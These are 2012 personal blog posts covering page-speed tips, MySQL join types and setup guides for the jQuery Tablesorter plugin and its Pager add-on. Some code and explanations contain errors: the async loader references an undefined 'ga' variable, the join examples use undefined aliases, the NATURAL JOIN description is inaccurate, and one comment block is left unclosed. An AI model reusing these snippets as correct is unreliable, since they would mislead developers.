Why and how browser rendering javascript
Browser first scans all javascripts to see whether there present things such as redirects, etc., that can change browser behavior during page loading. To parse JS browser should download them and is blocking the page load. In-line javascripts executes in-line. Suggested way to load
I can suggest loading javascripts as google and facebook do... however this way not always works, test it before implementing on production servers.
In my example i use google's way as they also determine the protocol.
(function() {
    var scr = document.createElement('script'); 
    scr.type = 'text/javascript'; ga.async = true;
    scr.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.script-host.com/host.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(scr, s);
  })();

Avoid using @import in css
Avoid using @import rules in CSS, oherwise you will rank down by pagespeed insights.
Avoid bad requests
Keep in eye on the contents you load, don't allow broken links, not existed images, etc.
Correct order of javascript and css files
Stick to correct loading order of css and javascript.
Load CSS first, then javascript files. That is the right order.
Use properly sized image
This means do not use the images for example 100px X 100px, when you need it to be 20px X 25px, etc. This will save you a lot of traffic.
Specify Content Encoding
Specify server side content encoding rather than defining in HTML.
PHP Example



Sincerely, Valentin Ruskevych

Sunday, June 24, 2012

MySQL Joins (Left join, right join, inner join, straight_join, natural_join)

Today we are going to discuss MySQL Joins (Left Join, Right Join, Inner Join, Self Join and Natural Join) in additional to these, we will touch the Straight Join (STRAIGHT_JOIN)

Let's we begin from joins syntax. The syntax is as follows:
SELECT 
   t1.col1, 
   t2.col2
FROM
   table1 AS t1
   JOIN 
      table2 AS t2
         ON (t1.col1 = t2.col2)
WHERE t1.col1=t2.col2
SELECT as usual, then going FROM table JOIN, join another table to the first table and then ON. join ON (condition) after maybe used WHERE clause, but not necessary.
In total ON is equal to WHERE and is not limited to one condition, then you can append GROUP, HAVING, LIMIT, etc.

Now let's discuss the joins type, they are few and we will talk about each of them.
MySQL's INNER JOIN / JOIN
INNER JOIN is equal to JOIN. next 2 statements are equal by their meaning:
SELECT 
   t1.col1, t1.col2
FROM
   table1
   INNER JOIN table2
   ON (t1.col1 = t2.col2)

# previous query is equal to next
SELECT 
   t1.col1, t1.col2
FROM
   table1
   JOIN table2
   ON (t1.col1 = t2.col2)

INNER JOIN return rows when there is at least one match in both tables, otherwise the query wouldn't return results.

MySQL's LEFT JOIN
LEFT JOIN return ALL rows from the left table even if no match found on the right table. example:
SELECT 
   t1.col1, t1.col2
FROM
   table1 # returns all rows from table 1
   LEFT JOIN table2 # even f no match in table 2
   ON (t1.col1 = t2.col2)


MySQL's RIGHT JOIN
RIGHT JOIN is a reversed join of left, returns all rows from right table even if no match found in left. refer to previous example of left join.

NATURAL JOIN
NATURAL JOIN acts as INNER JOIN, the difference is that INNER JOIN may return any of the columns while NATURAL JOIN will return only these with same name in both tables.
NATURAL JOIN also doesn't apply ON clause.

SELF JOIN
SELF JOIN is a kind of JOIN, SELF JOIN can be any of these, INNER, LEFT or RIGHT.
SELF JOIN joins same table how many times you required. example:
SELECT
   *
FROM
   table1 AS t1
   JOIN table1 AS t2
      ON (t1.col1<>t2.col1)

In this example we joined same table, this is kind of implementation of SELF JOIN.

STAIGHT_JOIN
STRAIGHT_JOIN is a keyword that tells (forces) MySQL's Optimizer to join tables in order they are type in the query, this have it's benefits and disadvantages.
This kind of join may be seen very useful however no one will advice to use them always.
Use EXPLAIN/EXPLAIN EXTENDED to understand whether to use it or not.
SELECT
   *
FROM
   table1 AS t1
   STRAIGHT_JOIN table1 AS t2
      ON (t1.col1<>t2.col1)

In this example, no matter what will happen, optimizer will read t1 and then will read table2 in an inner loop.


Have fun playing these things ;-)
Sincerely,
VR.

Friday, June 22, 2012

Tablesorter Installation Detailed HOW TO

Hi, Dear Readers.
Today I will explain HOW TO INSTALL TABLESORTER Plugin.
For real, the basic is very easy to install.
In case You need to install also pager, make sure you read also next article: TableSorter Pager plugin tutorial and settings also written by me.

Let's We begin
As usual we will start with data gathering and proceed.

Data Gathering Download the Tablesorter plugin from here: Tablesorter

Download Tablesorter's Default CSS from here: Tablesorter's CSS, later on you can change the look&feel as you wish

And the images used for styling: Here
And here -> ASC Image
And here -> DESC Image


Well, At this point we got all information that we need for beginning with tablesorter plugin. As i told it is very easy and very extendable.


Prepare Data
Place your fresh downloaded images into the images directory and adjust the CSS to point to images and read them.
Place your tablesorter.js into the directory you keep javascript files in (assume js)
Place your css file into css folder (we assume css)


Tablesorter Installation
We assume that we want to setup tablesorter plugin at index.html
We also assume that you have jQuery previously installed on this page.
Place your tablesorter.js into page, we prefer before (body end)
Place your CSS file in the head of the page (between and tags)
My file currently looks like that:



   
   


   
Name
Student01
Student01
Name
This example shows how to instantiate a basic instance of tablesorter, the reason to use only 2 values is to test it quick if it works with string values and sorts as expected. after such quick "DRY" Run, you can begin adding/generating data into table.
But do it ONLY AFTER You ensure that this works with basic example.


Tablesorter Options/Settings
Here i take the clear descriptions from tablesorter, but these that may be hard for you to undesrtand - i will explain deeply.
/**
 * cssHeader -> optional parameter. You can support here class name that will 
 * be applied to  tag inside header (inside ).
 * Description taken from Tablesorter
 **/
cssHeader: "header",

/**
 * cssAsc -> optional parameter, You can support class name to be applied to a
 * heading  element when sorting ASC mode.
 */
cssAsc: "headerSortUp",

/**
 * cssDesc -> optional parameter, You can support class name to be applied to a
 * heading  element when sorting DESC mode.
 */
cssDesc: "headerSortDown",

/**
 * cssChildRow -> unknown parameter for me, never used =) Touches some of the css
 * That long i worked with tablesorter, never used it - I believe you won't use it
 * too, at least at this time. :)
 */
cssChildRow: "expand-child",

/**
 * sortInitialOrder -> optional parameter saying order type in time of instantiation 
 * ascending/descending, possible values is "asc" or "desc", by default "asc".
 */
sortInitialOrder: "asc",

/**
 * sortMultiSortKey -> optional parameter to redefine the key to hold to select
 * multiple fields for sorting. default "shiftKey"
 * this one is a bit problematic ;)
 */
sortMultiSortKey: "shiftKey",

/**
 * sortForce -> optional parameter -> array containing forced sorting rules.
 */
sortForce: null,

/**
 * sortAppend -> optional, This option let's you specify a default sorting rule,
 * which is appended to user-selected rules (sortForce)
 */
sortAppend: null,

/**
 * String textExtraction (optional) A string of the text-extraction
 * method to use. For complex html structures inside td cell set this
 * option to "complex", on large tables the complex option can be slow.
 * Default value: "simple"
 */
textExtraction: "simple",

/**
 * Widgets -> optional parameter, allows you to specify widgets to be applied to
 * current tablesorter instance
 */
widgets: [],

/**
 * widgetZebra -> optional these params is a CSS classes for odd and even for 
 * applied widget "zebra"
 */
widgetZebra: {css: ["even", "odd"]}, 

/**
 * headers -> optional allows you to tell the sorter whether to sort specified field
 * or not, if yes which sorter to apply to it, sort order, etc. very useful param
 * example: $('#domelement').tablesorter({headers: { 
 *                   0: { sorter: false}, 
 *                   1: {sorter: false} 
 *                   }
 *          });
 */
headers: {}, 

/**
 * widthFixed -> optional, boolean flag whether table is at fixed width or resizable
 */
widthFixed: false,

/**
 * cancelSelection -> optional, boolean, defines whether tablesort should cancel
 * heading selecting or not.
 */
cancelSelection: true,

/**
 * sortList -> optional, array, This option let's you specify a default sorting rule.
 * default value is null
 */
sortList: [],

/**
 * headerList -> optional, array, List of Header? ) IDK what is that param.
 */
headerList: [],

/**
 * dateFormat -> optional, string, sets default format for dates found in your table
 * allows you to redefine the date format to use in sorting.
 */
dateFormat: "us",

/**
 * decimal -> optional, string, part of regex which characters are in decimal number
 */
decimal: '/\.|\,/g',

/**
 * selectorHeaders -> optional, string, holds a selector of heading th
 */
selectorHeaders: 'thead th',

/**
 * debug, optional, boolean, var name says by itself ;)
 */
debug: false

Now that you are ready to go with tablesorter, i can tell few more words about it
Not every field may be sorted, even if it looks like decimal or as date, in case you need to write custom parser, you are invited to read next article TableSorter Month/Year sorter (Custom Sorting), this one can be a good example of custom sorter coding.
Also Tablesorter allows to get extended with pagination plugin called Tablesorter Pager, The tutorial on Pager & options/settings is here: TableSorter Pager plugin tutorial and settings

Have fun playing with tablesorters settings.

Sincerely, Ruskevych Valentin

TableSorter Pager plugin installation and settings

Hi, My Dear Public. Today I want to talk how to work with Pager plugin for TableSorter. Tablesorter is very famous jQuery based plugin for sorting tabular data and is extendable a lot and We will explain HOW TO apply one of the standard tablesorter's plugins - Pager

In this tutorial we assume that you already have installed TableSorter on your page and is working otherwise you can read detailed tutorial on Tablesorter installation tutorial.

Data Gathering
First we will need to download the pager plugin located at Tablesorter Pager Plugin

Tablesorter's pager doesn't require any default css, but you can create one for you and work with, for example if you wish to use images (next,prev,first,last) as one sprite, you are free add your own css to current classes.

Now you need to get Tablesorter Pager's HTML. This is current HTML and as far as i remember never changed:)


Now we will need these 4 Images user in Tablesorter Pager
Download them here:
http://tablesorter.com/addons/pager/icons/first.png
http://tablesorter.com/addons/pager/icons/prev.png
http://tablesorter.com/addons/pager/icons/next.png
http://tablesorter.com/addons/pager/icons/last.png


Ok, At this point we got all we need to proceed to Tablesorter's Pager Installation Tutorial itself.

Now we should adjust and set up Tablesorter Pager's HTML: adjust
and like that with each image in HTML we just got. /path/to_your/images/first.png -> assume you stored images in images/pager, so the path to first.png will look like


NOTE: Don't change the class names (!), it is very important. At this step copy your tablesorter pager's HTML and past it at the place you want it to be around your data table, for example at the bottom. right or left or top left, etc. As you wish it looks better in your design of the page.

Ok, We got installed HTML, now we need to set JS and Instantiate the Pager. You can install the pager directly such as
Don't forget to replace the path to your tablesorter.pager.js
I can suggest for FrontEnd optimization purposes to append tablesorter.pager.js contents to tablesorter's code at the end.
Open tablesorter.pager.js copy it's content, go to tablesorter.js -> at the end of file past the pager's content, so you will economy one browser's request.

Instantiate:
You can instantiate them separately, but i prefer to chain, to not cause the mess in code.Chain will allow you to always find when it's being instantiated, especial in cases when you need few tablesorters with pager
We assume you have instatiated the table sorter on #table (id="table")
/**
 * in your (function(){ instance code });
 * or in your $(document).ready(function(){ instantiate code });
 * add the following code
 * pager's HTML wrapper should have id="pager" to work, later on we 
 * will explain how to change this behavior.
 **/
$('#table').tablesorter().tablesorterPager({container: $("#pager")});


Options/Settings:
To tell you the truth i didn't experiment with few of these options, but i will explain these i did.
/**
 * Starting page size (10 results now), you make it 20 results while starting pager
 * $('#table').tablesorter().tablesorterPager({container: $("#pager"),size:20});
 * and set first size in HTML to be 20 and the rest
 **/
size: 10, 

offset: 0, // int offset Used for fixing position in PX, but w/o word px. 

/**
 * Page parameter, used to set pager's current page. You can use it while starting
 * pager, to set for example to page 3 so u need to set 2
 * $('#table').tablesorter().tablesorterPager({container: $("#pager"),page:2});
 */
page: 0,

/**
 * Container parameter used to indicate the container of pager. Always use it.:)
 * $('#table').tablesorter().tablesorterPager({container: $("#pager")});
 */
container: null,

/**
 * Next 4 properties is styling, you can use them to change class names of buttons
 * You can also override them to IDs if you have collision when running few pagers.
 * $('#table').tablesorter().tablesorterPager({container: $("#pager"),cssNext:'#p1next'});
 * etc...
 */
cssNext: '.next',
cssPrev: '.prev',
cssFirst: '.first',
cssLast: '.last',

/**
 * Separrator between pager, eg. 1/7 indicates 1 of 7 pages, you can set it to " of "
 * so your pager will display 1 of 7. :)
 * $('#table').tablesorter().tablesorterPager({container: $("#pager"),seperator:" of "});
seperator: "/",

positionFixed: true, // This param also used for fixing position 



Tablesorter & Pager Troubleshooting:
If you meet any problem with tablesorter and/or pager that are not working.

First check if the ID's on instance meet the IDs on DOM Elements (eg. pager's div, table)
Remove options one by one, so you may detect exact option caused to bug.
If this didn't help, don't instantiate pager, maybe your browser can't find pager's script.
Try removing all the data from table, leave just one result and make sure there's not special charaters that may cause to something work wrong.



Have fun playing these setting. Sincerely, VR